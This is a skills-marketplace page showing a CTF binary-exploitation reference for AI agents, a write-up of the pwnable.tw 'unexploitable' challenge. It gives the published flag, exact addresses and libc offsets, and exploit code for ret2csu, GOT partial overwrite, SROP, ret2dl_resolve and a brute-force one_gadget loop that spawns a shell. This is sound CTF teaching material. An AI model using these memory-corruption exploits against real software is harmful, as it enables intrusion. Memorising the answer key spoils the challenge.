Index of every page on this site: llms.txt
All skills
ljagiello avatar

/ctf-pwn

@20d182d
by Lukasz Jagielloljagiello/ctf-skills3.8k stars
447
Run it yourself

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

Nothing lands on disk. Nothing to clean up.

Fork this Skill

Edit a local copy. It keeps the author and licence.

pwnable-twunexploitable.md

≈3.7k tokens on demand. Your agent reads this file only when SKILL.md points to it.

unexploitable — pwnable.tw (500 pts)

← Back to pwnable.tw Challenge Index

nc chall.pwnable.tw 10403

Flag: FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}

Challenge Overview

A tiny x86-64 binary (No PIE, Partial RELRO, NX, no canary) whose main does nothing but sleep(3) then read(0, rbp-0x10, 0x100) and returns. The binary imports only three libc functions (read, sleep, __libc_start_main). There is no output function, no syscall gadget in the binary text, and no /bin/sh string — hence "unexploitable."

The challenge is a hardened variant of pwnable.kr's "unexploitable" — the original had a syscall instruction in the binary; this version removed it, forcing solvers to manufacture one.

checksec:
  Arch:     amd64-64-little
  RELRO:    Partial RELRO       # GOT writable
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x400000)

Binary Disassembly

0000000000400544 <main>:
  400544: push   rbp
  400545: mov    rbp, rsp
  400548: sub    rsp, 0x10
  40054c: mov    edi, 0x3           ; sleep(3)
  400551: mov    eax, 0x0
  400556: call   400450 <sleep@plt>
  40055b: lea    rax, [rbp-0x10]    ; buf = rbp - 0x10
  40055f: mov    edx, 0x100         ; count = 256
  400564: mov    rsi, rax           ; buf
  400567: mov    edi, 0x0           ; fd = stdin
  40056c: mov    eax, 0x0
  400571: call   400430 <read@plt>
  400576: leave                     ; mov rsp,rbp; pop rbp
  400577: ret

Key Addresses

Symbol Address Notes
read@plt 0x400430 Only input primitive
sleep@plt 0x400450 Only other callable function
GOT[read] 0x601000 Writable — outside RELRO-protected page
GOT[sleep] 0x601010 Writable
GOT[__libc_start_main] 0x601008 Writable
.bss 0x601028 Writable scratch area
__libc_csu_init (CSU_POPS) 0x4005e6 Pop rbx/rbp/r12-r15 gadget
__libc_csu_init (CSU_CALL) 0x4005d0 mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]
leave; ret 0x400576 Stack pivot gadget

Vulnerability

V1 — Stack Buffer Overflow

Root Cause: main allocates a 16-byte buffer (rbp-0x10) but reads up to 0x100 (256) bytes. With no stack canary, the saved rbp (at offset +0x10) and return address (at offset +0x18) are directly overwritable.

// Pseudocode of main
void main() {
    char buf[0x10];        // 16-byte buffer
    sleep(3);
    read(0, buf, 0x100);   // reads 256 bytes → overflow at offset 0x18
    return;                 // leave; ret — uses overwritten rbp and rip
}

Impact: Full control of RIP and RBP. However, exploitation is severely constrained:

  • No output function — cannot leak addresses directly
  • No syscall/int 0x80 instruction in the binary
  • No pop rdi; ret or similar simple gadgets — only the __libc_csu_init gadget pair
  • No /bin/sh string — must be written to memory
  • 256-byte read — limits stage-1 ROP chain size

V2 — GOT[read] Sits Outside RELRO-Protected Page

Root Cause: The GNU_RELRO segment covers [0x600e28, 0x601000). After page-rounding, the loader re-protects [0x600000, 0x601000). But GOT[read] is at exactly 0x601000 — the first byte of the next page — and remains writable.

Impact: A single-byte overwrite of GOT[read] can redirect read@plt to any instruction within a 256-byte range of the original read() entry point. In the provided glibc 2.23, read() is at offset 0xf6670 and its syscall instruction is at 0xf667e — only the low byte differs (0x70 → 0x7e). Similarly, sleep() at 0xcb680 has nearby syscall instructions reachable by single-byte overwrites.

Exploit Paths

All solutions exploit V1 (stack overflow). They diverge on how they overcome the "no output, no syscall" constraints.


Path A — ret2csu + GOT Partial Overwrite → syscall Gadget → execve (Deterministic)

Used by: exp.py, solutions 60, 370, 1689, 1780, 10840, and many others

The canonical, fully deterministic approach. No brute-force needed.

Concept: Use the __libc_csu_init gadget pair ("ret2csu") to call read() with controlled arguments, overwrite a GOT entry's low byte to point at a syscall; ret instruction inside libc, then use the manufactured syscall gadget to call execve("/bin/sh", 0, 0).

Steps:

  1. Stage 1 — Stack pivot to .bss: The 256-byte overflow is too small for the full chain. Use ret2csu to call read(0, bss, large), loading a longer stage-2 chain into writable .bss. Then leave; ret with rbp = bss pivots the stack there.
# ret2csu helper: set rbx/rbp/r12-r15, then call [r12+rbx*8]
CSU_POPS = 0x4005e6  # pop rbx,rbp,r12,r13,r14,r15; add rsp,0x38; ret
CSU_CALL = 0x4005d0  # mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]

# Stage 1: read(0, BSS, len(stage2)) then pivot
payload  = b"A" * 0x18                          # fill buf + saved rbp
payload += p64(CSU_POPS)
payload += csu(0, 1, READ_GOT, 0, BSS, len(s2), CSU_CALL)  # read stage2
payload += csu(0, BSS, 0, 0, 0, 0, LEAVE_RET)              # pivot
  1. Stage 2 — Patch GOT[read] → syscall; ret: Use ret2csu to call read(0, GOT[read], 1). Send exactly 1 byte (\x7e) — this overwrites only the low byte, turning read() (at 0x...670) into the syscall instruction (at 0x...67e). read() returns 1 → rax = 1.

  2. Stage 3 — Set rax = 59 (SYS_execve): Now call [GOT[read]] invokes syscall. With rax=1, that's SYS_write. Call write(fd, readable_addr, 59) — the kernel writes 59 bytes and returns 59 → rax = 59.

  3. Stage 4 — execve("/bin/sh", 0, 0): Write /bin/sh\0 to .bss (done in stage 2). Call syscall with rdi=&"/bin/sh", rsi=0, rdx=0, rax=59 → shell.

# Stage 2 chain (in .bss):
s2  = b"/bin/sh\x00"
s2 += p64(CSU_POPS)
# Patch GOT[read] low byte → syscall; read returns 1 → rax=1
s2 += csu(0, 1, READ_GOT, 0, READ_GOT, 1, CSU_CALL)
# write(rax=1) → write(0, readable, 59) → rax=59
s2 += csu(0, 1, READ_GOT, 0, 0x400000, 59, CSU_CALL)
# execve(rax=59) → execve("/bin/sh", 0, 0)
s2 += csu(0, 1, READ_GOT, binsh, 0, 0, CSU_CALL)

Reliability: 100% deterministic. The low-byte overwrite is ASLR-immune since only the fixed offset within libc matters.


Path B — GOT Overwrite → syscall + Write Leak → system/one_gadget

Used by: Solutions 184, 278, 550, 927, 1297, 1715

Similar to Path A but adds a libc leak step:

  1. Overwrite GOT[read] or GOT[sleep] low byte to point at a syscall instruction (or the write syscall entry point nearby).
  2. Invoke write(1, GOT[sleep], 8) via ret2csu — leaks the runtime address of sleep() to stdout.
  3. Calculate libc base from the leak.
  4. Second read loads a final ROP chain using full libc gadgets: pop rdi; ret → "/bin/sh" → system(), or a one_gadget.
# After patching GOT[read] → write's syscall:
#   write(1, GOT[sleep], 8) → leaks sleep address
sleep_addr = u64(recv(8))
libc_base = sleep_addr - libc.symbols['sleep']
# Send final chain:
pop_rdi = libc_base + 0x21102
payload = p64(pop_rdi) + p64(libc_base + binsh_off) + p64(libc_base + system_off)

Reliability: 100% deterministic. The leak makes it more flexible than Path A.


Path C — SROP (Sigreturn-Oriented Programming)

Used by: Solutions 138, 331, 370, 606, 709, 1172

Uses the manufactured syscall gadget to invoke rt_sigreturn (syscall 15), which restores all registers from a crafted SigreturnFrame on the stack.

  1. Overwrite GOT[sleep] or GOT[read] low byte → syscall.
  2. Set rax = 15 by having read() return exactly 15 bytes.
  3. Call syscall → rt_sigreturn restores registers from a fake SigreturnFrame placed on the stack, setting rax=59, rdi="/bin/sh", rsi=0, rdx=0, rip=syscall_gadget.
  4. The kernel "returns" into execve("/bin/sh", 0, 0).
frame = SigreturnFrame()
frame.rax = 59              # SYS_execve
frame.rdi = binsh_addr      # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr    # patched sleep@plt
# ... place frame on stack, send 0xf bytes to set rax=15, trigger sigreturn

Reliability: 100% deterministic.


Path D — ret2dl_resolve (Fake Dynamic Linking)

Used by: Solution 59

Constructs fake ELF structures (link_map, Elf64_Rela, Elf64_Sym, strtab entries) in writable memory and calls the PLT resolver (_dl_runtime_resolve) with forged relocation index. The fake symbol resolves to a one_gadget address computed as __libc_start_main@got + offset.

# Pivot rbp to .data, return to main to read fake structures
# Then jump to dl_resolve (0x400426) with crafted link_map and reloc_index
# Fake l_addr = one_gadget_offset, fake relocation target = writable address
payload = p64(dl_resolve) + p64(fake_link_map) + p64(0)

Reliability: 100% deterministic, but complex to set up.


Path E — Brute-Force One-Gadget (Non-Deterministic)

Used by: Solutions 100, 821, 550 (alternative)

The laziest approach: overwrite the return address with a guessed one_gadget address directly.

  1. The last 12 bits of any libc address are fixed (page-aligned base).
  2. Guess the remaining 1.5 bytes (~4096 possibilities).
  3. Overwrite main's return address with sleep_got + offset_to_one_gadget (partial libc address, or just the raw guessed address).
  4. Retry until the guess is correct.
while True:
    r = remote(host, port)
    sleep(3)
    payload = b"A"*0x10 + b"B"*8 + b"\x6a\xd2\xc8"  # guessed one_gadget
    r.send(payload)
    try:
        r.sendline("cat /home/unexploitable/flag")
        print(r.recv())  # if we get output, the guess was right
        break
    except:
        r.close()

Reliability: ~1/4096 per attempt. With the 3-second sleep per attempt, this takes ~3.4 hours on average.


Path F — GOT Overwrite via or byte Gadget → write Leak

Used by: Solution 184

A creative variant using an obscure gadget found at 0x400510:

0x400510: or byte [rbx+0x5D], bl ; ret

By setting rbx = GOT[read] - 0x5d, this gadget ORs a byte value into GOT[read], transforming read() into write() without needing a separate read() call for the patch. This provides a write primitive to leak libc, then finish with pop rdi; ret → "/bin/sh" → system.

Reliability: 100% deterministic.

Exploit Primitive Summary

Primitive How Reliability
RIP/RBP control Stack overflow at offset 0x18 Deterministic
Controlled read() calls ret2csu (__libc_csu_init gadgets) Deterministic
Stack pivot to .bss leave; ret with controlled rbp Deterministic
Manufactured syscall Partial GOT overwrite (1 byte, ASLR-immune) Deterministic
Set rax to arbitrary value read() / write() return value = byte count Deterministic
libc leak (optional) write(1, GOT_entry, 8) via manufactured syscall Deterministic
Code execution execve via syscall, or system/one_gadget after leak Deterministic

Offsets (pwnable.tw libc_64.so.6, glibc 2.23)

# read() internal offsets
read_offset   = 0xf6670    # read() entry
syscall_in_read = 0xf667e  # syscall instruction inside read()
patch_byte_read = 0x7e     # low byte to overwrite GOT[read]

# sleep() internal offsets (alternative target)
sleep_offset  = 0xcb680
# Various nearby syscall instructions: 0xcb6de (byte 0xde), 0xcb60e (byte 0x0e), 0xcb655 (byte 0x55)

# Useful libc symbols
system        = 0x45390
__libc_start_main = 0x20740
bin_sh        = 0x18c177    # "/bin/sh" string
pop_rdi_ret   = 0x21102
one_gadgets   = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

Solution Write-ups

File Primary Path Key Technique Notes
59.md D ret2dl_resolve with forged structures Unique approach; 100% deterministic
60.md A ret2csu → GOT[read] patch → syscall chain Clean stage1/stage2
100.md E Brute-force one_gadget (12-bit guess) ~3000 attempts; lazy but works
138.md C SROP via GOT[sleep] patch → sigreturn Ruby; elegant
184.md F or byte gadget to create write → leak → system Creative gadget discovery
278.md B ret2csu → GOT patch → write leak → system Ruby; backup of read via __libc_start_main GOT
331.md C GOT[sleep] patch → SROP execve Straightforward sigreturn
370.md C SROP with pivots through multiple reads Stack-pivot chain through .data
424.md A ret2csu → self-built syscall → execve Compact chain
550.md B GOT[sleep] → syscall write leak → system Leaks via write(1, GOT, 8)
606.md C SROP split across two reads Frame too large for one read
709.md C GOT[sleep] partial overwrite → SROP Sends 0xf bytes to set rax=15
821.md E Brute-force one_gadget (12-bit) Simplest possible exploit
927.md B ret2csu → write leak → one_gadget Full libc leak then one-shot
1172.md C+B GOT patch → SROP execve, backup: write leak Also uses sleep as syscall
1297.md B ret2csu → write(1, GOT[sleep]) leak → one_gadget Clean 3-stage approach
1689.md A ret2csu → GOT patch → execve (no leak) Direct syscall chain; very concise
1715.md B GOT[sleep] → syscall write → leak → one_gadget Uses mov esi, [rsp+0x28] gadget
1780.md A ret2csu → GOT[read] patch → write rax → execve Clean no-leak chain
1803.md B GOT[sleep] partial overwrite → execl Ruby; overwrites 2 bytes of GOT
10840.md A ret2csu → GOT[sleep] patch → write rax → execve Clear step-by-step notes

Files

File Description
exp.py Working exploit (deterministic, no pwntools, pure sockets)
desc.txt Challenge description
artifacts/unexploitable Challenge binary (x86-64, No PIE, Partial RELRO)
artifacts/libc_64.so.6 Remote libc (glibc 2.23)
solution/*.md Community write-ups (120 solutions)

Source: SKILL.md on GitHub

skilld matched fixed text patterns in SKILL.md and file names. Patterns miss obfuscated code.

skilld run checks every file with the same patterns. It asks for approval before it loads a Skill with a behavior marked Needs approval.

2 alerts26d5 checks · Risk SAFE
  • Gen Agent Trust Hub26d

    This skill is an extensive reference library and toolset for binary exploitation in CTF (Capture The Flag) competitions. It provides detailed documentation, scripts, and techniques for a wide range of vulnerabilities, including heap corruption, stack overflows, and kernel exploits. All recommended tool installations and script operations are standard for security research and are appropriately scoped to its educational purpose.

  • Socket26d

    26 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk26d

    Risk: LOW · No issues

  • Runlayer8mo

    7/7 files flagged

  • ZeroLeaks7mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 20d182d. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub last week.

Activeupdated 4 weeks ago
metadata
{
  "user-invocable": "false",
  "author": "Lukasz Jagiello"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.